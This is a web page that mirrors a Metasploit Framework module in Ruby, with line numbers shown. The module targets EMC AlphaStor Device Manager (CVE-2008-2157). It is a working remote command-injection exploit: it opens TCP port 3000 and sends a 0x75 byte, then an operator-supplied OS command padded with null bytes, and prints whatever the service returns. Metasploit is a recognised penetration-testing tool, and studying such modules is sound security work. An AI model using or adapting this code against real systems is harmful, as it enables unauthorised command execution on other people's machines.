CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/emc/alphastor_devicemanager_exec.rb
Views: 11655
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Tcp
8
9
def initialize(info = {})
10
super(update_info(info,
11
'Name' => 'EMC AlphaStor Device Manager Arbitrary Command Execution',
12
'Description' => %q{
13
EMC AlphaStor Device Manager is prone to a remote command-injection vulnerability
14
because the application fails to properly sanitize user-supplied input.
15
},
16
'Author' => [ 'MC' ],
17
'License' => MSF_LICENSE,
18
'References' =>
19
[
20
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=703' ],
21
[ 'OSVDB', '45715' ],
22
[ 'CVE', '2008-2157' ],
23
[ 'BID', '29398' ],
24
],
25
'DisclosureDate' => '2008-05-27'))
26
27
register_options(
28
[
29
Opt::RPORT(3000),
30
OptString.new('CMD', [ false, 'The OS command to execute', 'hostname']),
31
])
32
end
33
34
def run
35
connect
36
37
data = "\x75" + datastore['CMD']
38
pad = "\x00" * 512
39
40
pkt = data + pad
41
42
print_status("Sending command: #{datastore['CMD']}")
43
sock.put(pkt)
44
45
# try to suck it all in.
46
select(nil,nil,nil,5)
47
48
res = sock.get_once || ''
49
50
res.each_line do |info|
51
print_status("#{info.gsub(/[^[:print:]]+/,"")}") # hack.
52
end
53
54
disconnect
55
rescue ::Rex::ConnectionError => e
56
print_error 'Connection failed'
57
rescue ::EOFError => e
58
print_error 'No reply'
59
end
60
end
61
62